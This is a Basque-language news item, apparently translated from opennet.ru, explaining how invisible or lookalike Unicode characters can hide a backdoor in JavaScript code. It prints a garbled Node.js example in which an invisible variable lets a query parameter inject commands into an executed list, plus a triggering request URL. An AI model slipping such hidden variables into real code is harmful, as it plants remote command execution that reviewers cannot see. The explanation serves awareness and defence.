Unicode karaktere ikusezinak erabiltzea JavaScript kodean ekintzak ezkutatzeko

Norabide biko testuaren bistaratzeko ordena aldatzen duten Unicode karaktereen erabileran oinarritzen den Troiako Iturburuaren eraso metodoari jarraituz, ezkutuko ekintzak sartzeko beste teknika bat argitaratu da, JavaScript kodeari aplikagarria. Metodo berria "γ…€" (0x3164 kodea, "HANGUL FILLER") unicode karakterearen erabileran oinarritzen da, letren kategoriakoa dena, baina eduki ikusgarririk ez duena. Karaktere hau sartzen den Unicode kategoria onartzen da ECMAScript 2015 zehaztapenetik JavaScript aldagai-izenetan erabiltzeko, eta, hala, Notepad++ eta VS Code bezalako kode editore ezagunetan beste aldagaietatik bereizten ez diren aldagai ikusezinak edo aldagai berriak sortzea posible da.

Adibide gisa, Node.js plataformaren kodea ematen da, non, β€œγ…€β€ karaktere bakar batez osatutako aldagai bat erabiliz, erasotzaileak zehaztutako kodea exekutatzea ahalbidetzen duen atzeko ate bat ezkutatzen da: app.get('/ network_health', async (req, res) = > { const { timeout,γ…€} = req.query; // hain zuzen ere "const { timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // komaren ondoren \u3164 ] karakterea du;

Lehen begiratuan, kanpoko parametrotik denbora-muga-balioa bakarrik pasatzen da, eta exekutatu beharreko komandoak dituen arrayak kalterik gabeko zerrenda finko bat dauka. Baina, hain zuzen ere, denbora-muga aldagaiaren ondoren, karaktere kodea \u3164 duen beste aldagai ikusezin baten balioa esleitzen da, komando exekutagarrien matrizean ere ordezkatzen dena. Horrela, diseinu hori eskuragarri badago, erasotzaile batek "https://host:8080/network_health?%E3%85%A4=command" bezalako eskaera bat bidali dezake atzeko atea aktibatzeko eta bere kodea exekutatzeko.

Beste adibide bat "Ηƒ" karakterea da (ALBEOLAKO KLIKA), harridura-puntua adierazteko itxura emateko erabil daitekeena. Adibidez, "if(environmentΗƒ=ENV_PROD){" adierazpena Node.js 14-n exekutatzen denean beti izango da egia, ez baitu desberdintasunik egiaztatzen, baina ENV_PROD-ren balioa "ingurumenΗƒ" aldagaiari esleitzen dio. Unicode engainagarrien beste karaktere batzuk "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" eta "βˆ—" dira.

Iturria: opennet.ru

Gehitu iruzkin berria